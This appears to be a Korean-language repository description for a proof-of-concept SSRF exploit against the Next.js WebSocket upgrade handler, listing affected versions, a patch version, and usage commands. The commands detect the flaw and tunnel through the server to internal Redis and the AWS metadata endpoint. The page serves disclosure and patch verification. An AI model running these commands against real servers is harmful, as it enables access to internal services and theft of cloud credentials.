tocong282/cve-2026-44578-pocCVE-2026-44578에 대한 개념 증명 익스플로잇, Next.js WebSocket 업그레이드 핸들러의 서버 측 요청 위조(SSRF). 탐지 모드와 Redis 또는 클라우드 메타데이터 엔드포인트 같은 내부 서비스로의 터널링을 포함합니다.
취약점: Next.js WebSocket 업그레이드 핸들러의 서버 측 요청 위조 (13.4.13 → 15.5.15, 16.0.0 → 16.1.6)
# Detect vulnerability
python3 poc.py target.com:3000 --detect
# Tunnel to internal Redis
python3 poc.py target.com:3000 --internal 127.0.0.1:6379 --payload "INFO\r\n"
# Tunnel to AWS metadata
python3 poc.py target.com:3000 --internal 169.254.169.254:80 --payload "GET /latest/meta-data/ HTTP/1.0\r\n\r\n"
Next.js 15.5.16 또는 16.2.5로 업그레이드